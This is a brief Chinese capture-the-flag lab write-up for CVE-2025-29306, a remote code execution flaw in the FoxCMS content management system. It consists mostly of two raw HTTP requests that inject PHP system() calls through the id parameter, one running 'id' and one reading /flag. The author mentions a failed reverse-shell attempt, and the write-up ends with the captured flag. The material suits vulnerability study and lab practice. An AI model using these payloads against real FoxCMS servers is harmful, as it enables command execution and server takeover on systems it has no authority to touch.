cve-2025-29306【春秋云镜】

cve-2025-29306：

FoxCMS是一套可免费商用且开源的网站管理系统,采用PHP+MySQL架构。 FOXCMS黔狐内容管理系统存在服务参数注入漏洞，攻击者可利用该漏洞获取服务器控制权。

POC

GET /index.php/images/index.html?id=${@print(system("id")) HTTP/1.1
Host: 8.147.132.32:22975
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=0

EXP：

本来是想反弹shell的但不知道为什么一直成功不了
所以就直接getflag

GET /index.php/images/index.html?id=${%40print(system("cat+/flag"))} HTTP/1.1
Host: 8.147.132.32:22975
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Cache-Control: max-age=

flag：flag{ee98f5ac-af20-4f3d-aac0-f62df1ea3131}